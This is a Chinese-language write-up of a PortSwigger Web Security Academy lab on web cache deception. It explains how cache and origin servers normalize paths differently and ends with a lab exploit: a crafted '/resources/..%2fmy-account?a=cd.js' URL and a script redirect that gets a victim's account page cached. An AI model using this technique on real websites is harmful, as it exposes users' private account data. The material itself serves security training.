PortSwigger网络缓存欺骗(3)

检测缓存服务器的规范化

您可以使用几种不同的方法来测试缓存如何规范化路径。首先,确定潜在的静态目录。在**"代理">"HTTP 历史记录"**中,查找具有常见静态目录前缀和缓存响应的请求。通过将 HTTP 历史记录过滤器设置为仅显示响应类型为 2xx 且 MIME 类型为 script、images 和 CSS 的消息,来重点关注静态资源。

然后,您可以选择一个带有缓存响应的请求,并使用路径遍历序列和静态路径开头的任意目录重新发送该请求。选择一个响应中包含缓存痕迹的请求。例如/aaa/..%2fassets/js/stockCheck.js

  • 如果响应不再被缓存,则表明缓存未在将路径映射到端点之前对其进行规范化。这说明存在基于/assets前缀的缓存规则。
  • 如果响应仍然被缓存,这可能表明缓存已将路径规范化/assets/js/stockCheck.js

1. 先理解正常情况

假设网站真正的 JS 文件是:

复制代码
/assets/js/stockCheck.js

你正常访问:

复制代码
https://example.com/assets/js/stockCheck.js

服务器返回 JS。

因为 /assets/ 通常被认为是静态资源目录,所以缓存服务器可能有这样的规则:

复制代码
/assets/*  →  可以缓存

于是:

复制代码
/assets/js/stockCheck.js

第一次访问:

复制代码
X-Cache: MISS

第二次访问:

复制代码
X-Cache: HIT

说明它被缓存了。


2. 现在关键来了:构造一个"看起来不一样"的 URL

例如:

复制代码
/aaa/..%2fassets/js/stockCheck.js

%2f 解码:

复制代码
%2f
↓
/

所以它实际上类似于:

复制代码
/aaa/../assets/js/stockCheck.js

而:

复制代码
aaa/..

意味着:

aaa 目录退回上一级。

所以规范化以后:

复制代码
/aaa/../assets/js/stockCheck.js
                    ↓
/assets/js/stockCheck.js

也就是说:

复制代码
/aaa/..%2fassets/js/stockCheck.js

和:

复制代码
/assets/js/stockCheck.js

最终可能指向同一个资源。

3.流程

你可以这样理解:

复制代码
第一步
找到真正的静态资源

/assets/js/stockCheck.js
             │
             ↓
         X-Cache: HIT

说明:

复制代码
/assets/ 是一个缓存目录

然后:

复制代码
第二步
制造一个"表面上不是 /assets/"的 URL

/aaa/..%2fassets/js/stockCheck.js

它经过规范化后:

复制代码
/aaa/../assets/js/stockCheck.js
              ↓
/assets/js/stockCheck.js

然后观察:

复制代码
             /aaa/..%2fassets/js/stockCheck.js
                         │
               ┌─────────┴─────────┐
               ↓                   ↓
          缓存服务器            后端服务器
               │                   │
               ↓                   ↓
       是否规范化路径?       是否规范化路径?
               │                   │
               └─────────┬─────────┘
                         ↓
                    看 X-Cache

4.最重要的是理解"两个解析器"

这是你这段实验最容易迷糊的地方。

可以把它想象成:

复制代码
             URL
              │
              ↓
        ┌───────────┐
        │   Cache   │
        └───────────┘
              │
              ↓
        判断是否缓存
              │
              ↓
        ┌───────────┐
        │ Web Server│
        └───────────┘
              │
              ↓
          找真实资源

如果两边理解一致:

复制代码
Cache:
 /aaa/..%2fassets/... 
        ↓
 /assets/...
 
Backend:
 /aaa/..%2fassets/...
        ↓
 /assets/...

一般不会产生这种缓存欺骗问题。

但是如果:5.

复制代码
Cache:
 /aaa/..%2fassets/...
        ↓
 不认为是 /assets/
        ↓
 不缓存

Backend:
 /aaa/..%2fassets/...
        ↓
 /assets/...
        ↓
 找到真实资源

就出现了解析差异


5.非常简单的口诀

正常 URL

复制代码
/assets/js/a.js

缓存认为:

复制代码
/assets → 静态 → 缓存

测试 URL

复制代码
/aaa/..%2fassets/js/a.js

实际路径可能是:

复制代码
/aaa/../assets/js/a.js
          ↓
/assets/js/a.js

然后问缓存:

你会不会先把它规范化,再判断它是不是 /assets/

如果不会:

复制代码
X-Cache: MISS

说明:

缓存判断和后端路径解析可能存在差异。

如果会:

复制代码
X-Cache: HIT

说明:

缓存可能已经把它规范化为 /assets/js/a.js 再进行缓存判断。

实验:利用源服务器规范化进行 Web 缓存欺骗

结合前两个实验和刚才新的规范化方法可以轻松解决本次实验

如果不知道编码转换的 burpsuit也提供了

打上payload开始测试分隔符哪个可以被使用在检测缓存服务器

通过状态可知"?"可以被用来分割url

现在构造就很简单了

因为缓存漏洞 也就是缓存服务器存在于静态资源,所以之后的构造我们需要将/aa/..改成/resources/..

复制代码
/resources/..%2fmy-account

但是我还是打不出hit 只能如此了

之后加入js来缓存 用?进行分隔

复制代码
<script>window.location="https://0a5c0003047a823b809d03010052002c.web-security-academy.net/resources/..%2fmy-account?a=cd.js"</script>

如果想看最后结果也可以看以下视频来帮助理解

https://www.youtube.com/watch?v=DYBBUUnYGcc

相关推荐
吉甫作诵3 小时前
Redis 常用命令大全:11 大类命令速查手册
运维·数据库·redis·缓存·nosql
hweiyu004 小时前
Redis命令:MGET
redis·缓存
墨天梦6 小时前
07-KVCache与缓存友好架构
缓存·架构
wdfk_prog1 天前
ROS教程:01 搭建 ROS1 Noetic Docker 开发环境
运维·缓存·docker·容器·ros
wdfk_prog1 天前
ros教程02:创建 catkin Workspace、Package 与第一个 ROS1 C++ Node
运维·缓存·docker·容器·ros
草莓熊Lotso1 天前
【Redis 进阶】主从复制深度解析:从配置落地到 PSYNC 同步原理
linux·开发语言·网络·数据库·redis·缓存·php
程序员阿鹏2 天前
如何实现MySQL分库分表?
数据结构·数据库·sql·mysql·缓存
爱和冰阔落2 天前
【Linux】条件变量为什么必须配合互斥锁:从 pthread_cond_wait 到阻塞队列
linux·运维·c++·缓存·中间件·安卓
wdfk_prog2 天前
VMware Ubuntu 虚拟机从 124 GB 压缩到 33 GB
运维·缓存·docker·容器
刃神太酷啦2 天前
Redis 核心进阶:哨兵、集群、缓存问题与分布式锁详解----《Hello Redis!》(6)
linux·c语言·数据库·c++·redis·分布式·缓存